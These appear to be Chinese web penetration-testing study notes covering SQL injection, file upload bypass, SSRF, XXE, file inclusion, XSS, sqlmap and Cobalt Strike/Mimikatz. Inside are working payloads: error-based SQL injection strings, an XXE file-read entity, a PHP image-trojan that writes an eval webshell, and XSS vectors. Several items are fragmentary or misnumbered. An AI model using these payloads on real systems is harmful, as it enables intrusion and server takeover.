一、IIS中间组件:
1、PUT漏洞
2、短文件名猜解
3、远程代码执行
4、解析漏洞
二、Apache中间组件:
1、解析漏洞apache
在有多个后缀的情况下,只要包含.php后缀的文件就会被识别出php文件进行解析.
2、目录遍历
三、Nginx中间组件:
1、文件解析1.php/xx.php
2、目录遍历
3、CRLF注入
4、目录穿越
数据库写入文件条件
、当前数据库用户为 root 权限
、知道当前网站的绝对路径
、secure_file_priv 的参数必须为空或目录地址
、PHP的 GPC 为 off状态;(魔术引号,GET,POST,Cookie)
1.Sql注入相关知识:
(1)Sql注入原理?
Web应用程序对用户输入数据的合理性没有进行判断
前端传入后端的参数是攻击者可控制的
参数ID可控,且带入数据库查询
(2) Sql注入类型?
按照注入点类型来分类
(1)数字型注入点
(2)字符型注入点
(3)搜索型注入点
按照数据提交的方式来分类
(4)HTTP 头部注入xf(x-Forwarded-For) UA(user-Agent)cookie等
(3)Cookie 注入
(1)GET 注入
(2)POST 注入
按照执行效果来分类
(1)基于布尔的盲注
(2)基于时间的盲注
(3)基于报错注入
(5)堆查询注入
(6)宽字节注入
(3)Sql注入危害?
数据库信息泄漏
网页篡改
网站被挂马
服务器被远程控制等等
(4)报错注入常用函数?
6、updatexml(1,concat(0x7e,database(),0x7e),1)
7、extractvalue(1,concat(0x7e,database));
gtid_subset(concat(0x7e,database(),0x7e),1)
5、gtid_subtract(concat(0x7e,database(),0x7e),1)
3、st_pointfromgeohash(concat(0x7e,database(),0x7e),1)
(5) Sql注入绕过?
1、两个空格代替一个空格,用Tab代替空格,%a0=空格
2、大小写绕过
3、浮点数绕过注入
select * from users where id= 1e0或者id=1.1。
4、NULL值绕过
select * from users where id=\N。
5、引号绕过
也可以将字符串转成16进制再进行查询。select hex(‘admin’) 已经select 0X61646D696E。
如果gpc开启了,但是注入点是整型,也可以用hex十六进制进行绕过。
8、反引号绕过
反引号前面不加空格也是可以的。
10、逗号绕过
union select 1,2,3;
union select * from ((select 1)A join (select 2)B join (select 3)C);
union select * from ((select 1)A join (select 2)B join (select group_concat(user(),' ',database(),' ',@@datadir))C);
SUBTTRING 函数substring(str FROM pos)substring,1
16、or和xor not绕过。
• and 等于&&
• or 等于 ||
• not 等于 !
• xor 等于
所以可以转换成这样:
• id=1 and 1=1 等于 id=1 && 1=1
• id=1 and 1=2 等于 id=1 && 1=2
• id=1 or 1=1 等于 id=1 || 1=1
• id=0 or 1=0 等于 id=0 || 1=0
(6) sql注入经常出现在什么地方?
第一个:用户能控制输入——用户能控制输入变量
第二个:原本程序要执行的代码,拼接了用户输入的数据。(正是拼接的这个过程导致了代码的注入)
注入漏洞经常出现的位置
常发生于用户和服务交互处(增删改查操作),ajax,接口等等
(7) Sql server 相关知识?
SQL Server是微软开发的一个开发工具关系型数据库
SQL Server 主要是和 MySQL 和 Oracle 二者竞争。
SQL Server 有五个系统数据库:
• master - 记录 SQL Server实例的所有系统级信息。
• msdb - 用于 SQL Server 代理计划警报和作业。
• model - 用作 SQL Server实例上创建的所有数据库的模板。 对 model 数据库进行的修改(如数据库大小、排序规则、恢复模式和其他数据库选项)将应用于以后创建的所有数据库。
• resource - 一个只读数据库,包含 SQL Server包括的系统对象。 系统对象在物理上保留在 Resource 数据库中,但在逻辑上显示在每个数据库的 sys 架构中。
• tempdb - 一个工作空间,用于保存临时对象或中间结果集。注意,tempdb 会在 SQL Server 每次重启时重新创建。
2. 文件上传相关知识:
文件上传漏洞触发点
相册、头像上传、视频、照片分享、附件上传(论坛发帖、邮箱)、文件管理器等。
(1)文件上传的危害?
代码执行域控制 网站挂马 钓鱼
上传webshell,控制服务器、远程命令执行
进行提权操作
上传系统病毒、木马文件进行挖矿、僵尸网络
进行内网渗透。
(2)文件上传怎么防御?
文件上传的目录设置为不可执行,最有效的,对于 Linux 而言,撤销其目录的’x’权限
判断文件类型、 MIME Type、后缀检查
使用随机数改写文件名和文件路径
限制用户上传文件的类型
(3)文件上传怎么绕过(白名单,黑名单,前端等)?
一、黑名单绕过
大小写绕过 a.PHP a.Php a.PhP
二、空格绕过
上传时使用burp抓包 前面或者后面添加空格,
三、点号绕过
burp抓包将文件名改为“a.php.”
6后缀双写绕过
条件还是这个服务器只进行了一次过滤,例如我们上传a.php,burp抓包,将文件名改为“a.pphphp”
二、白名单绕过
mine类型检测绕过content-type里面的值,就是文件的mime类型
00截断绕过php版本<5.3 0x00是字符串的结束标识符
图片马检测绕过copy a.jpg /b + a.php /a xx.jpg
三 、纯前端限制绕过
1、禁用js
2、中间件使用的又是apachephtml,php3,php4,php5 可以被当php解析
3、htaccess配置绕过
上传一个.htaccess文件
AddType application/x-httpd-php .jpg上传jpg就可以了 解析
3.SSRF漏洞相关知识:
(1)SSRF漏洞原理?
服务端提供了从其他服务器应用获取数据的功能,且没有对目标地址做过滤与限制
服务器并没有检测这个请求是否合法的
file_get_contents()
fsockopen()
curl_exec()
fopen()
readfile()
:从文件系统中获取文件内容,如,file:///etc/passwd
:字典服务器协议,访问字典资源,如,dict:///ip:6739/info
:分布式文档传递服务,可使用gopherus生成payload。
(3) Ssrf漏洞利用?
文件读取 有回显
ssrf.php?url=http://www.baidu.com
?file=file://C:/Windows/win.ini
?url=dict://192.168.220.143:3306 检测 3306开启版本 curl中
gopher协议
支持发出GET、POST请求
gopher协议格式为: gopher:/ip:port/_ + payload
(3)Ssrf漏洞防御?
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
限制不能访问内网的IP,以防止对内网进行攻击
屏蔽返回的详细信息
5,禁用不需要的协议
(4)Ssrf漏洞绕过?
绕过IP限制
1.利用@符号
2.利用短地址
4.利用进制转换
可以是十六进制,八进制等。 0表示使用八进制 十六进制加0x
4.Xxe漏洞相关知识?
(1) Xxe漏洞原理?
XML外部实体注入
XXE漏洞触发点往往是可以上传xml文件的位置,没有对xml文件进行过滤
任意文件读取,命令执行、内网端口扫描、攻击内网网站、发起Dos攻击等危害
支持了外部实体的引用,在引用过程中没有做好防范措施,引进了恶意代码
(2)Xxe漏洞利用?
读取本地文件
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE name [
<!ELEMENT name ANY>
<!ENTITY xxe SYSTEM "file:///C://Windows/win.ini">
]>
<name>&xxe;</name>
内网IP探测
php://filter/convert.base64-encode/resource=http://192.168.3.53
内网端口探测
php://filter/convert.base64-encode/resource=http://192.168.3.53:1234
(3)Xxe漏洞支持的伪协议有哪些(php,java,python)
通用的 python php
File://
Filter://
http://
ftp:
Php
Glob://
Phar://
Data:
防御XXE
开发语言提供的禁用外部实体的方法
过滤用户提交的XML数据
5.文件包含漏洞相关知识:
(1)文件包含的函数?
Fopen fputc fgetc fprintf fread fwrite
(2) 文件包含支持的伪协议有哪些(php,asp)?
php://inputenctype=”multipart/form-data”时,php://input是无效的。
php://output
php://filter
file://
Data://
Phar://
Zip://
(3)文件包含利用?
配合图片马getshell
包含临时文件getshell
包含一些敏感的配置文件
C:\boot.ini //查看系统版本
C:\Windows\php.ini //php配置信息
C:\Windows\my.ini //Mysql配置信息
配合图片马getshell
需要有一个文件上传的点,并且能够上传图片马,图片马的内容如下
<?php fputs(fopen("panda.php","w"),'<? @eval($_POST[PANDA]);?>');?>
panda.php密码为PANDA
包含临时文件+phpinfo getshell
在PHP文件包含漏洞中,当我们找不到用于触发RCE的有效文件时,如果存在PHPINFO(它可以告诉我们临时文件的随机生成的文件名及其位置),我们可能可以包含一个临时文件来利用它升级为RCE。
python2 exp.py 目标ip 8080 100
/tmp/xxxx 这个是文件名
包含session文件getshell
session文件路径已知
session文件路径位置可以通过phpinfo页面来获取: session.save_path参数
/var/lib/php/sess_[PHPSESSID]
/tmp/sess_[PHPSESSID]
获取session文件名抓包
构造payload
文件名:sess_hvjhivr3iptal3909f90rksu9p,利用文件包含漏洞跨目录包含session文件getshell
包含日志文件getshell
请求写入access.log(会记录访问IP
phpinfo页面来查询 apache2handler 中的server root就是apache的安装路径
通过猜测常见日志文件的路径/usr/local/apache/logs/error_log或者access_log
index.php?page=/etc/init.d/httpd
index.php?page=/etc/httpd/conf/httpd.conf
6.RCE Php命令执行,php代码执行相关知识:
RCE 命令执行,代码执行
(1)代码执行相关函数?
eval()、assert()、preg_replace()、create_function()、
(2)命令执行相关函数?
System、exec、passthru、shell_exec、ob_start
7.Xss漏洞相关知识:
(1)xss漏洞原理?
XSS被称为跨站脚本攻击
xss漏洞类型?
1. 反射型XSS
2.存储型XSS
3.DOM型XSS
XSS危害
窃取cookie 黑客一般渗透的时候就会先来查看已保存的cookie 来盗取各种用户账号
未授权操作
传播蠕虫病毒
XSS验证
<script>alert(/xss/)</script> #比较常用
<script>confirm('xss')</script>
<script>prompt("xss")</script>
XSS payload及变形
利用伪协议(HTML标签的属性值)
<a href="javascript:alert(/xss/)">touch me !< /a>
利用事件
<img src='./smile.jpg' onmouseover='alert(/xss/)'>
<input type="text" onclick="alert(/xss/)">
8.常见的解析漏洞有哪些?
(1)Nginx
%0d%0a编码的请求.插入js代码引发xss
目录穿越
(2)Apache
(3)Iis
9.常见的漏扫工具支持扫描的漏洞类型?
(1)Xray
(2)Awvs
(3)Appscan
10.Sqlmap 工具参数的使用和含义?
(1)-u后面跟url地址 判断是否存在注入
(2)-r文本中的请求是否存在注入
Sqlmap.py -r desktop/1.txt
(3) –data指定 HTTP POST 请求中的数据参数
sqlmap.py -u "http://example.com/login.php" --data "username=admin&password=123456"
(4)–random-agent随机修改请求头
(5)–os-shell允许用户在成功获取系统 shell 后执行操作系统命令
(6)–cookiecookie注入
11.一些常见漏洞?
(1)Tomcat
(2)Iis
(3)Apache
(4)Fastbin
(5)等
12.Cobalt strike,mimikatz工具的一些基础知识?
Cobalt Strike是一款常用于网络攻击和红队行动的渗透测试工具,具有C2服务器、模块化插件、交互式命令行等功能。
Mimikatz是一款常用于获取Windows系统密码、凭证和敏感信息的工具,可以通过注入进程、提取LSASS进程等方式获取密码等敏感信息。
Cobalt Strike可以集成Mimikatz模块,通过使用Mimikatz模块可以在目标机器上执行Mimikatz攻击,获取目标机器上的密码、凭证等敏感信息。
Mimikatz工具支持多种操作系统和架构,如Windows、Linux、ARM等。
Mimikatz工具还可以通过加载驱动程序的方式绕过一些安全防护措施,如驱动程序保护、防病毒软件等。
为了防止Cobalt Strike和Mimikatz工具的使用,可以采取一些安全措施,如加强系统防护、禁用不必要的服务、限制管理员权限等。
Head请求
定义
HEAD方法跟GET方法相同,只不过服务器响应时不会返回消息体
13.常见框架漏洞?
(1)Jboss
JBoss高危漏洞主要涉及到以下两种。
第一种是利用未授权访问进入JBoss后台进行文件上传的漏洞,例如:CVE-2007-1036,CVE-2010-0738,CVE-2006-5750以及void addURL() void deploy() 上传war包。
另一种是利用Java反序列化进行远程代码执行的漏洞,例如:CVE-2015-7501,CVE-2017-7504,CVE-2017-12149,CVE-2013-4810。
(2)Weblogic
(3)Thinkphp
(4)Struts2
(5)Shiro
(6)等
14.常见端口对应的漏洞?
(1)80
(2)7001常用于WebLogic控制台,常见漏洞包括:未授权访问、反序列化漏洞、XML外部实体注入漏洞等。
(3)6379- 常用于Redis服务,常见漏洞包括:未授权访问、命令注入漏洞、缓存穿透漏洞等。
(4)8009常用于Tomcat服务,常见漏洞包括:未授权访问、目录遍历漏洞、代码执行漏洞等。
(5)8080常用于Web服务,常见漏洞包括:文件包含漏洞、SQL注入漏洞、目录遍历漏洞、文件上传漏洞等。
(6)445 常用于SMB服务,常见漏洞包括:远程代码执行漏洞、SMB共享未授权访问漏洞、SMB信息泄露漏洞等。
(7)3306
(8)3389等
其他常见端口还包括:21端口(FTP服务)、22端口(SSH服务)、23端口(Telnet服务)、25端口(SMTP服务)、53端口(DNS服务)、135端口(RPC服务)、139端口(NetBIOS服务)、1433端口(SQL Server服务)等。这些端口也存在各种漏洞,如FTP弱口令、SSH暴力破解、Telnet明文传输、SMTP命令注入、DNS缓存投毒、RPC远程代码执行、NetBIOS信息泄露、SQL注入等。
15. 一些最新的漏洞?
Log4j2